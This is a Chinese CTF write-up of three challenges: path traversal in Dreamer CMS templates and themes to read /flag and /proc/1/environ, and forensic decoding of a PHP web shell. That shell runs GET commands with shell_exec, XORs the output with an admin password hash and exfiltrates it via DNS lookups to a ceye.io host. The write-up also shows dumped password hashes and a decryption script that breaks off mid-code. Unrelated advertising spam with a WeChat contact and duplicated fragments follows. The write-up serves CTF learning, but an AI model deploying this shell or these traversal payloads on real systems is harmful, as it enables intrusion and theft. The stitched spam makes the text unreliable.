拿到题感觉有点儿懵
先下发靶机看一眼
梦想家CMS,好嘛,我直接一手查找官网
直接一手演示中心碰运气
哎嘿嘿,运气不错进去了,突然想起之前有位大佬写的关于Dreamer CMS的代码审计文章了
https://forum.butian.net/index.php/share/2183
想想题目一开始给的提示,flag在根目录下/flag
考虑一下使用后台设置栏目存在任意文件读取漏洞看看能不能读取flag
点击左侧栏中的“栏目/文章”选项进入到栏目管理,新建顶级栏目,创建一个命名为测试的顶级栏目。
在封面模版处,添加路径为:
../../../../../../../../../../flag
点击保存,访问前台,重新访问对应的顶级栏目,得到flag
0x02 Dreamer_revenge
跟上一个题一样
第一种思路是跟上一个题目一样,只不过把访问的文件改成../../.../../../../proc/1/environ
第二种思路是利用后台模板管理可以任意编辑的漏洞
先把default_v2
目录复制一份,修改成default_v3
。
修改其中的theme.json
文件。将其中的themePath
值修改成../../../../../../../../../../../../../../
然后打包default_v3
成default_v3.zip
,到后台风格管理处上传zip文件并启用主题。
此时再去访问模版管理即可从根目录访问所有文件
跟之前一样,访问/proc/1/environ
,即可找到flag
0x03 hacker
<?php $servername="127.0.0.1"; $username="root"; $password="123456"; $dbname="zentao"; $conn=new PDO("mysql:host=$servername;dbname=$dbname",$username,$password); $conn->setAttribute(PDO::ATTR\_ERRMODE,PDO::ERRMODE\_EXCEPTION); $stmt=$conn->prepare("SELECT password FROM zt\_user WHERE account=\'admin\'"); $stmt->execute(); $result=$stmt->fetch(PDO::FETCH\_ASSOC); $conn=null; $param=$\_GET["cmd"]; $password=$result["password"]; $output=shell\_exec($param); $hex\_output=bin2hex($output); $hex\_password=bin2hex($password); $len\_output=strlen($hex\_output); $len\_password=strlen($hex\_password); $max\_subdomain\_length=62; $subdomain\_base="yafgcy.ceye.io"; $hex\_xor=""; for ($i=0;$i<$len\_output;$i++) { $char\_output=$hex\_output[$i]; $char\_password=$hex\_password[$i%$len\_password]; $char\_xor=dechex(hexdec($char\_output)^hexdec($char\_password)); if(strlen($hex\_xor.$char\_xor)>$max\_subdomain\_length) { if(strlen($hex\_xor)%2!=0) { $subdomain="0"."$hex\_xor.$subdomain\_base"; } else { $subdomain="$hex\_xor.$subdomain\_base"; } gethostbyname($subdomain); $hex\_xor=""; } else { $hex\_xor.=$char\_xor; } } if(strlen($hex\_xor)%2!=0) { $subdomain="0"."$hex\_xor.$subdomain\_base"; } else { $subdomain="$hex\_xor.$subdomain\_base"; } gethostbyname($subdomain); ?>可以看到执行命令的被外带了,响应包并不会有回显
注入查询出来的数据库数据,里面有admin的密码
select account,password from zt_user{“status”:“success”,“data”:“[{“account”:“admin”,“password”:“8a3e684c923b763d252cf1e8734a7a29”},{“account”:“productManager”,“password”:“e10adc3949ba59abbe56e057f20f883e”},{“account”:“projectManager”,“password”:“e10adc3949ba59abbe56e057f20f883e”},{“account”:“dev1”,“password”:“e10adc3949ba59abbe56e057f20f883e”},{“account”:“dev2”,“password”:“e10adc3949ba59abbe56e057f20f883e”},{“account”:“dev3”,“password”:“e10adc3949ba59abbe56e057f20f883e”},{“account”:“tester1”,“password”:“e10adc3949ba59abbe56e057f20f883e”},{“account”:“tester2”,“password”:“e10adc3949ba59abbe56e057f20f883e”},{“account”:“tester3”,“password”:“e10adc3949ba59abbe56e057f20f883e”},{“account”:“testManager”,“password”:“e10adc3949ba59abbe56e057f20f883e”},{“account”:“test”,“password”:“e10adc3949ba59abbe56e057f20f883e”}]”,“md5”:“71cfaa7002d809c0860d3749abb3454c”}
有了加密逻辑以及密码,就可以解密数据了,外带的数据也被wireshark截获了
去除重复的,总共有八段数据,一开始测试的时候发现除了第一条和第四条能成功解密,其他都是乱码,经过摸索才发现每条需要按照[0:] [1:] [2:] [4:]截断,其中[1:]的还得去掉最后一位,才能正确解密,而且解密出来的明文在开头还会丢失一两位字符。可能与加密逻辑的 if (strlen($hex_xor . $char_xor) > $max_subdomain_length) {...}
这段处理有关,不过我实在看不出来这段为啥会造成数据丢失
59115a4b465044695a5a56015c4252065e501c130e416f5c5647556b510044
0 5b0e5d4b5f5b5b69505c57074f18430c423f5b0c0852105a521d4409476b 5
4a 32135c07594c474d4d4a47684453501657411c171e456f4c5f5659043d19
0c49 5011391d4e40054d495a4368
79227024716c7522787370254c777230667673222570247b76677322632671
d 7b357226771575227a7372237677702573611f372570317b767277207620 6
14 79207024777b60247e6674231a626727666171372570317f766773207620
0678 79226731756c60206d75703670754e
根据加密逻辑,解密处理
<?php $hex\_output = "59115a4b465044695a5a56015c4252065e501c130e416f5c5647556b510044"; $hex\_password = bin2hex("8a3e684c923b763d252cf1e8734a7a29"); $len\_output = strlen($hex\_output); **自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。** **深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!** **因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。** ![img](https://img-blog.csdnimg.cn/img_convert/ee75fd6b06b34d0c88b2195b343bf2c2.png) ![img](https://img-blog.csdnimg.cn/img_convert/71fb5217739ff8986f0b0b0d5139eb42.png) ![img](https://img-blog.csdnimg.cn/img_convert/c76cfda61f0cb024fb98b0ee251721c8.png) ![img](https://img-blog.csdnimg.cn/img_convert/a0bee7724fa3e7056fcc5c715143b824.png) ![img](https://img-blog.csdnimg.cn/img_convert/e66608f68378ba37e9869791244282e2.png) ![img](https://img-blog.csdnimg.cn/img_convert/21456773c5c05babd8647db7bf82e442.png) **既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!** **由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新** **如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)** ![img](https://img-blog.csdnimg.cn/img_convert/f875cecfc7007973b67189d26abcc090.png) 还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包! 王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。 对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料! 【完整版领取方式在文末!!】 ***93道网络安全面试题*** ![](https://img-blog.csdnimg.cn/img_convert/6679c89ccd849f9504c48bb02882ef8d.png) ![](https://img-blog.csdnimg.cn/img_convert/07ce1a919614bde78921fb2f8ddf0c2f.png) ![](https://img-blog.csdnimg.cn/img_convert/44238619c3ba2d672b5b8dc4a529b01d.png) 内容实在太多,不一一截图了 ### 黑客学习资源推荐 最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助! 对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。 #### 1️⃣零基础入门 ##### ① 学习路线 对于从来没有接触过网络安全的同学,我们帮你准备了详细的**学习成长路线图**。可以说是**最科学最系统的学习路线**,大家跟着这个大的方向学习准没问题。 ![image](https://img-blog.csdnimg.cn/img_convert/acb3c4714e29498573a58a3c79c775da.gif#pic_center) ##### ② 路线对应学习视频 同时每个成长路线对应的板块都有配套的视频提供: ![image-20231025112050764](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center) **一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!** ![img](https://img-blog.csdnimg.cn/img_convert/6ab033d616d37633a6aeea11c9364bca.png) 64](https://img-blog.csdnimg.cn/874ad4fd3dbe4f6bb3bff17885655014.png#pic_center) **一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!** [外链图片转存中...(img-H5lsjgpH-1712467993783)]